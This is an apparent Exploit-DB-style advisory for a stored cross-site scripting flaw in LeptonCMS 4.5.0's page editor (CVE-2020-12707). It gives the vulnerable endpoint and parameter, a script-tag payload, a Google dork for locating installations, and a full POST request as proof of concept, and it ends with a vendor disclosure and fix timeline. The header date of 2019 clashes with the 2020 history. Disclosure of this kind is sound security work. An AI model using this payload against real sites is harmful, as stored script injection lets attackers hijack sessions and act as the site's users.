LeptonCMS 4.5.0 - Persistent Cross-Site Scripting

# Exploit Title: LeptonCMS 4.5.0 - Persistent Cross-Site Scripting
# Google Dork: "lepton cms"
# Date: 2019-03-24
# Exploit Author: SunCSR (Sun* Cyber Security Research)
# Vendor Homepage: https://lepton-cms.org/english/home.php
# Software Link:
https://lepton-cms.org/posts/new-release-lepton-4.5.0-139.php
# Version: 4.5.0
# Tested on: Windows
# CVE : CVE-2020-12707

### Vulnerability : Persistent Cross-Site Scripting

# Description
A stored cross-site-scripting security issue in the edit page feature
Url : http://TARGET/lepton/backend/pages/modify.php
Request Type: POST
Vulnerable Parameter : "content"
Payload : content=<script>alert('XSS')</script>

#POC
POST /lepton/modules/wysiwyg/save.php?leptoken=03d01fea73f9810402beez1585032684 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://TARGET
Connection: close
Referer: http://TARGET/lepton/backend/pages/modify.php?page_id=5&leptoken=f04ef2dc728873e9fa849z1585032680
Cookie: cookieconsent_status=dismiss; SESSc3618c3927e551a1d6443b365aef1bc3=_guGZcGkV8IUWJx91f8pVQo8aBpxO4ipp75Un8WQN-g; _ctr=MTI3XzBfMF8xLlpa; nv4_cltz=420.420.420%257C%252F%257C.thiennv.com; nv4_ctr=MTI3XzBfMF8xLlpa; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off; 5e71dbd610916_SESSION=bt38jrlr7ajgc28t6db10mdgu7; lep8407sessionid=6aqrn6ccetoeqdes68e44hdlul
Upgrade-Insecure-Requests: 1

page_id=5&section_id=5&content5=<script>alert('XSS')</script>

### History
=============
2020-03-18  Issue discovered
2020-04-20  Vendor contacted
2020-04-21  Vendor response and hotfix
2020-04-23  Vendor releases fixed versions